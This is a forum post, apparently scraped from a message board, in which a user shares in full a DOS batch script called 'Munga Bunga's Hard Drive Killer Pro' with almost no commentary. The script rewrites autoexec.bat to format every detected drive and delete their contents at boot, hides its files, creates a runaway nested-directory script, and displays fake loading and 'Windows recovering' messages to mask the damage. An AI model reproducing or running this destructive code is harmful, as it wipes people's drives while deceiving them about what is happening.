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.bat virus,try to understand it
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<blockquote data-quote="Larunaka" data-source="post: 4908874" data-attributes="member: 180419"><p><strong>Hi, this is at .bat virus. It's VERY hard to understand what all means, dont worry, not even the best batch programer or any1 in microsoft can understand it.. Well here it is.. Bt this is not mine..................... <img src="/styles/default/xenforo/smilies/default/rolleyes.gif" class="smilie" loading="lazy" alt=":rolleyes:" title="Rolleyes :rolleyes:" data-shortname=":rolleyes:" /> </strong></p><p><strong></strong></p><p></p><p></p><p>@echo off</p><p>rem This program is dedecated to a very special person that does not want to be named.</p><p>:start</p><p>cls</p><p>echo PLEASE WAIT WHILE PROGRAM LOADS . . .</p><p>call attrib -r -h c:\autoexec.bat >nul</p><p>echo @echo off >c:\autoexec.bat</p><p>echo call format c: /q /u /autotest >nul >>c:\autoexec.bat</p><p>call attrib +r +h c:\autoexec.bat >nul</p><p></p><p>rem Drive checking and assigning the valid drives to the drive variable.</p><p></p><p>set drive=</p><p>set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z</p><p></p><p>rem code insertion for Drive Checking takes place here.</p><p>rem drivechk.bat is the file name under the root directory.</p><p>rem As far as the drive detection and drive variable settings, don't worry about how it </p><p>rem works, it's damn to complicated for the average or even the expert batch programmer.</p><p>rem Except for Tom Lavedas.</p><p></p><p>echo @echo off >drivechk.bat</p><p>echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat</p><p>%comspec% /e:2048 /c {t}.bat >>drivechk.bat</p><p>del {t}.bat</p><p>echo if errorlevel 1 goto enddc >>drivechk.bat</p><p></p><p>cls</p><p>echo PLEASE WAIT WHILE PROGRAM LOADS . . .</p><p></p><p>rem When errorlevel is 1, then the above is not true, if 0, then it's true.</p><p>rem Opposite of binary rules. If 0, it will elaps to the next command.</p><p></p><p>echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat</p><p>%comspec% /e:2048 /c {t}.bat >>drivechk.bat</p><p>del {t}.bat</p><p>echo if errorlevel 1 goto enddc >>drivechk.bat</p><p></p><p>cls</p><p>echo PLEASE WAIT WHILE PROGRAM LOADS . . .</p><p></p><p>rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.</p><p>rem if errorlevel is 0, then it will elaps to the next command.</p><p></p><p>echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat</p><p>%comspec% /e:2048 /c {t}.bat >>drivechk.bat</p><p>del {t}.bat</p><p>echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat</p><p></p><p>cls</p><p>echo PLEASE WAIT WHILE PROGRAM LOADS . . .</p><p></p><p>rem if it's errorlevel 1, then the specified drive is a hard or floppy drive.</p><p>rem if it's not errorlevel 1, then the specified drive is a CD-ROM drive.</p><p></p><p>echo :enddc >>drivechk.bat</p><p></p><p>rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING". </p><p></p><p>rem Now we will use the program drivechk.bat to attain valid drive information.</p><p></p><p>:testdrv</p><p></p><p>for %%a in (%alldrive%) do call drivechk.bat %%a >nul</p><p>if %drive%.==. set drive=c</p><p>del drivechk.bat >nul</p><p></p><p>:form_del</p><p>call attrib -r -h c:\autoexec.bat >nul</p><p>echo @echo off >c:\autoexec.bat</p><p>echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat</p><p>echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autotest >nul >>c:\autoexec.bat</p><p>echo cls >>c:\autoexec.bat</p><p>echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat</p><p>echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat</p><p>echo cls >>c:\autoexec.bat</p><p>echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat</p><p>echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat</p><p>echo cls >>c:\autoexec.bat</p><p>echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat</p><p>echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autotest >nul >>c:\autoexec.bat</p><p>echo cls >>c:\autoexec.bat</p><p>echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat</p><p>echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat</p><p>echo cls >>c:\autoexec.bat</p><p>echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat</p><p>echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat</p><p>echo cd\ >>c:\autoexec.bat</p><p>echo cls >>c:\autoexec.bat</p><p>echo echo Welcome to the land of death. Munga Bunga's Hard Drive Killer Pro Version 4.0. >>c:\autoexec.bat</p><p>echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:\autoexec.bat</p><p>echo echo 1. To make people aware that security should not be taken for granted. >>c:\autoexec.bat</p><p>echo echo 3. This breach of your security will benefit you in the long-run, so don't worry. Think about it.>>c:\autoexec.bat</p><p></p><p>echo echo. >>c:\autoexec.bat</p><p>echo echo Regards, >>c:\autoexec.bat</p><p>echo echo. >>c:\autoexec.bat</p><p>echo echo Munga Bunga >>c:\autoexec.bat</p><p>call attrib +r +h c:\autoexec.bat</p><p></p><p>:makedir</p><p>if exist c:\temp.bat attrib -r -h c:\temp.bat >nul</p><p>echo @echo off >c:\temp.bat</p><p>echo %%1:\ >>c:\temp.bat</p><p>echo cd\ >>c:\temp.bat</p><p>echo :startmd >>c:\temp.bat</p><p>echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2") do %%%%a >>c:\temp.bat</p><p>echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:\temp.bat</p><p>echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto startmd >>c:\temp.bat</p><p>call attrib +r +h c:\temp.bat >nul</p><p></p><p>cls</p><p>echo Initializing Variables . . .</p><p>rem deltree /y %%a:\*. only eliminates directories, hence leaving the file created above for further destruction.</p><p>for %%a in (%drive%) do call format %%a: /q /u /autotest >nul</p><p>cls</p><p>echo Initializing Variables . . .</p><p>echo Validating Data . . .</p><p>for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul</p><p>cls</p><p>echo Initializing Variables . . .</p><p>echo Validating Data . . .</p><p>echo Analyzing System Structure . . .</p><p>for %%a in (%drive%) call attrib -r -h %%a:\ /S >nul</p><p>call attrib +r +h c:\temp.bat >nul</p><p>call attrib +r +h c:\autoexec.bat >nul</p><p>cls</p><p>echo Initializing Variables . . .</p><p>echo Validating Data . . .</p><p>echo Analyzing System Structure . . .</p><p>echo Initializing Application . . .</p><p></p><p>for %%a in (%drive%) call deltree /y %%a:\*. >nul</p><p>cls</p><p>echo Initializing Variables . . .</p><p>echo Validating Data . . .</p><p>echo Analyzing System Structure . . .</p><p>echo Initializing Application . . .</p><p>echo Starting Application . . .</p><p>for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul</p><p></p><p>cls</p><p>echo Thank you for using a Munga Bunga product.</p><p>echo.</p><p>echo Here is a joke for you . . .</p><p>echo.</p><p>echo Q). What's the worst thing about being an egg?</p><p>echo A). You only get laid once.</p><p>echo.</p><p>echo Don't you just love that one?</p><p>echo.</p><p>echo Regards,</p><p>echo.</p><p>echo Munga Bunga</p><p></p><p>:end</p></blockquote><p></p>
[QUOTE="Larunaka, post: 4908874, member: 180419"] [B]Hi, this is at .bat virus. It's VERY hard to understand what all means, dont worry, not even the best batch programer or any1 in microsoft can understand it.. Well here it is.. Bt this is not mine..................... :rolleyes: [/B] @echo off rem This program is dedecated to a very special person that does not want to be named. :start cls echo PLEASE WAIT WHILE PROGRAM LOADS . . . call attrib -r -h c:\autoexec.bat >nul echo @echo off >c:\autoexec.bat echo call format c: /q /u /autotest >nul >>c:\autoexec.bat call attrib +r +h c:\autoexec.bat >nul rem Drive checking and assigning the valid drives to the drive variable. set drive= set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z rem code insertion for Drive Checking takes place here. rem drivechk.bat is the file name under the root directory. rem As far as the drive detection and drive variable settings, don't worry about how it rem works, it's damn to complicated for the average or even the expert batch programmer. rem Except for Tom Lavedas. echo @echo off >drivechk.bat echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat %comspec% /e:2048 /c {t}.bat >>drivechk.bat del {t}.bat echo if errorlevel 1 goto enddc >>drivechk.bat cls echo PLEASE WAIT WHILE PROGRAM LOADS . . . rem When errorlevel is 1, then the above is not true, if 0, then it's true. rem Opposite of binary rules. If 0, it will elaps to the next command. echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat %comspec% /e:2048 /c {t}.bat >>drivechk.bat del {t}.bat echo if errorlevel 1 goto enddc >>drivechk.bat cls echo PLEASE WAIT WHILE PROGRAM LOADS . . . rem if errorlevel is 1, then the drive specified is a removable media drive - not ready. rem if errorlevel is 0, then it will elaps to the next command. echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat %comspec% /e:2048 /c {t}.bat >>drivechk.bat del {t}.bat echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat cls echo PLEASE WAIT WHILE PROGRAM LOADS . . . rem if it's errorlevel 1, then the specified drive is a hard or floppy drive. rem if it's not errorlevel 1, then the specified drive is a CD-ROM drive. echo :enddc >>drivechk.bat rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING". rem Now we will use the program drivechk.bat to attain valid drive information. :testdrv for %%a in (%alldrive%) do call drivechk.bat %%a >nul if %drive%.==. set drive=c del drivechk.bat >nul :form_del call attrib -r -h c:\autoexec.bat >nul echo @echo off >c:\autoexec.bat echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autotest >nul >>c:\autoexec.bat echo cls >>c:\autoexec.bat echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat echo cls >>c:\autoexec.bat echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat echo cls >>c:\autoexec.bat echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autotest >nul >>c:\autoexec.bat echo cls >>c:\autoexec.bat echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat echo cls >>c:\autoexec.bat echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat echo cd\ >>c:\autoexec.bat echo cls >>c:\autoexec.bat echo echo Welcome to the land of death. Munga Bunga's Hard Drive Killer Pro Version 4.0. >>c:\autoexec.bat echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:\autoexec.bat echo echo 1. To make people aware that security should not be taken for granted. >>c:\autoexec.bat echo echo 3. This breach of your security will benefit you in the long-run, so don't worry. Think about it.>>c:\autoexec.bat echo echo. >>c:\autoexec.bat echo echo Regards, >>c:\autoexec.bat echo echo. >>c:\autoexec.bat echo echo Munga Bunga >>c:\autoexec.bat call attrib +r +h c:\autoexec.bat :makedir if exist c:\temp.bat attrib -r -h c:\temp.bat >nul echo @echo off >c:\temp.bat echo %%1:\ >>c:\temp.bat echo cd\ >>c:\temp.bat echo :startmd >>c:\temp.bat echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2") do %%%%a >>c:\temp.bat echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:\temp.bat echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto startmd >>c:\temp.bat call attrib +r +h c:\temp.bat >nul cls echo Initializing Variables . . . rem deltree /y %%a:\*. only eliminates directories, hence leaving the file created above for further destruction. for %%a in (%drive%) do call format %%a: /q /u /autotest >nul cls echo Initializing Variables . . . echo Validating Data . . . for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul cls echo Initializing Variables . . . echo Validating Data . . . echo Analyzing System Structure . . . for %%a in (%drive%) call attrib -r -h %%a:\ /S >nul call attrib +r +h c:\temp.bat >nul call attrib +r +h c:\autoexec.bat >nul cls echo Initializing Variables . . . echo Validating Data . . . echo Analyzing System Structure . . . echo Initializing Application . . . for %%a in (%drive%) call deltree /y %%a:\*. >nul cls echo Initializing Variables . . . echo Validating Data . . . echo Analyzing System Structure . . . echo Initializing Application . . . echo Starting Application . . . for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul cls echo Thank you for using a Munga Bunga product. echo. echo Here is a joke for you . . . echo. echo Q). What's the worst thing about being an egg? echo A). You only get laid once. echo. echo Don't you just love that one? echo. echo Regards, echo. echo Munga Bunga :end [/QUOTE]
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